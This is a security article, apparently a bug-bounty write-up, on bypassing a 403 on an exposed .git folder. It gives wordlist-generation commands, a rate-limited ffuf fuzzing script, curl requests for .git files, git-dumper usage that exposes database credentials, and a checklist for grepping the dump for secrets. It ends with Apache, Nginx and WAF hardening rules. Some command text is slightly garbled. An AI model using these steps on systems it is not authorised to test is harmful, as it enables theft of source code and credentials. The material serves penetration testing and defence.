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Introduction:
Misconfigured web servers exposing `.git` folders remain one of the most critical yet overlooked information disclosure vectors in modern web applications. While a 403 Forbidden response typically stops most testers, this article dissects a real‑world scenario where a smart bypass—fueled by custom wordlist generation and strategic fuzzing—transformed a dead end into full source code access. We break down the exact methodology, from Linux command‑line wizardry to automation scripts, so you can replicate this technique in your next engagement.
Learning Objectives:
- Master advanced `.git` enumeration and 403 bypass techniques using custom fuzzing.
- Learn to generate massive, targeted wordlists with
sed,cat, andanew. - Understand how to automate rate‑limited fuzzing with `ffuf` and Bash scripts.
- Identify post‑exploitation opportunities from exposed Git repositories.
- Implement defensive controls to prevent `.git` exposure in production.
You Should Know:
- The Genesis – Custom Wordlist Generation for Git Artifacts
The pentester began by noticing a single `/.git/` path returning 403. Standard bypass payloads failed. Instead of giving up, he built a dedicated Git wordlist from existing Seclists files.
Step‑by‑step guide – Linux Command Breakdown:
1. Base wordlist selection:
`raft-large-files.txt` contains thousands of common filenames. The goal is to prepend `.git/` to each entry.
2. Prepending with `sed`:
sed 's|^|.git/|' /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt > git-big.txt
What it does: `s|^|.git/|` substitutes the beginning of every line (^) with .git/. Result: `index.php` becomes .git/index.php.
3. Aggregating multiple sources:
cat .txt | sed 's|^|.git/|' | sort -u | anew git-wordlist.txt
Why: Combines several wordlists, removes duplicates (sort -u), and appends only new entries with anew. Final wordlist exceeded 20 million lines.
Windows equivalent (PowerShell):
Get-Content .\raft-large-files.txt | ForEach-Object { ".git/$_" } | Sort-Object -Unique | Out-File -FilePath git-wordlist.txt
- The Smart Fuzzer – Bash Script to Handle 20M+ Wordlist
Fuzzing 20 million requests in one go is impractical—it triggers rate‑limiting, WAF blocks, and network timeouts. The solution: a Bash script that sends bursts and sleeps.
Script logic and usage:
!/bin/bash WORDLIST="git-wordlist.txt" URL="https://sub.example.com" LINES_PER_BURST=5000 SLEEP_SECONDS=1800 30 minutes split -l $LINES_PER_BURST $WORDLIST chunk_ for chunk in chunk_; do ffuf -u "$URL/FUZZ" -w $chunk -ac -c -t 50 -o "$chunk.json" -of json sleep $SLEEP_SECONDS done
Explanation:
– `split` breaks the giant wordlist into 5,000-line chunks.
– `ffuf` runs against each chunk with 50 threads (-t 50), auto‑calibrating (-ac) for accurate filtering.
– After each chunk, the script sleeps 30 minutes to avoid tripping defenses.
– Output is saved per chunk for later analysis.
This approach discovered that while `/.git/` was 403, anything under `/.git/` that actually existed returned 200 OK.
3. Manual Verification – The Smoking Gun
Once the fuzzer returned 200 responses, the tester manually verified critical Git files:
curl -k https://sub.example.com/.git/config curl -k https://sub.example.com/.git/HEAD curl -k https://sub.example.com/.git/index curl -k https://sub.example.com/.git/logs/HEAD curl -k https://sub.example.com/.git/refs/heads/master
Why these files matter:
– `config` reveals repository configuration, sometimes containing credentials.
– `HEAD` shows current branch.
– `index` and logs can be used to reconstruct file structure and commit history.
– `refs/heads/master` exposes the latest commit hash.
All returned 200 OK – confirming the bypass worked.
4. Exploitation – Dumping the Entire Repository
Manual `curl` for each file is tedious. Use `git-dumper` (Python) to reconstruct the repo:
pip install git-dumper git-dumper https://sub.example.com/.git/ ./dumped_repo/
`git-dumper` sequentially fetches all reachable Git objects and rebuilds the working directory. In this case, it revealed:
program_name/ ├── classes/ │ ├── Config.php Database credentials │ ├── Database.php │ ├── DebugLog.php │ ├── FileUploader.php Unrestricted upload logic │ └── Installer.php Setup script, often left exposed
Impact: Full source code, database passwords, and proprietary business logic – a critical severity finding.
5. Defense – Hardening Against .Git Exposure
Apache / Nginx configuration:
Apache – Block all .git requests RedirectMatch 404 /\.git.
Nginx
location ~ /.git {
deny all;
return 404;
}
Cloud WAF (AWS WAF, Cloudflare):
Create custom rules to inspect URI for `/.git` and challenge or block.
Git hook for developers:
Prevent accidental `git init` in webroot by adding a pre‑commit hook that scans for sensitive directories.
- API & Cloud Context – When Git Exposure Goes Beyond Source Code
Modern applications store infrastructure‑as‑code (IaC) in Git. A `.git` disclosure in a CI/CD server (e.g., Jenkins, GitLab) might expose:
– `cloudformation/` or `terraform/` directories – revealing AWS/Azure resource names and misconfigurations.
– `serverless.yml` – exposing API keys embedded for deployment.
– `Dockerfile` – showing base images and build contexts.
Checklist after dumping:
- [ ] Grep for
AWS_SECRET,password,api_key,PRIVATE_KEY. - [ ] Examine commit history (
git log -p) for secrets accidentally committed and removed. - [ ] Look for `.env.example` or
config/secrets.yml.
What Undercode Say:
- Key Takeaway 1: A 403 status code is not the end; it is often a misconfigured allow/deny rule that only blocks the root directory, leaving sub‑resources accessible. Always fuzz beyond the forbidden root.
- Key Takeaway 2: Off‑the‑shelf wordlists are rarely sufficient. Combining, transforming, and deduplicating multiple sources with simple Linux tools creates devastatingly effective custom payloads.
Analysis: This case underscores the shift from automated scanning to intelligent, context‑aware fuzzing. The hunter spent two days iterating on a single hypothesis—patience and methodical enumeration beat running hundreds of tools in parallel. The ability to write a tiny Bash script to manage rate limits turned an impossible wordlist into a precise attack. Defenders must treat `/.git` blocking as a binary operation: if you allow any path under it, the entire protection is void. Full web server configuration reviews and WAF rules that inspect the entire URI—not just the base path—are mandatory.
Prediction:
As AI‑assisted coding tools auto‑generate `.gitignore` files and deployment scripts, developers may inadvertently commit more cloud‑specific configuration files to public‑facing repositories. We predict a rise in `.git` disclosures exposing not just application code, but complete cloud infrastructure blueprints. Bug bounty programs will increasingly require testers to chain `.git` leaks with cloud privilege escalation techniques, moving this vector from “information disclosure” to critical remote code execution via exposed deployment keys.
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IT/Security Reporter URL:
Reported By: Ziad Ahmed – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
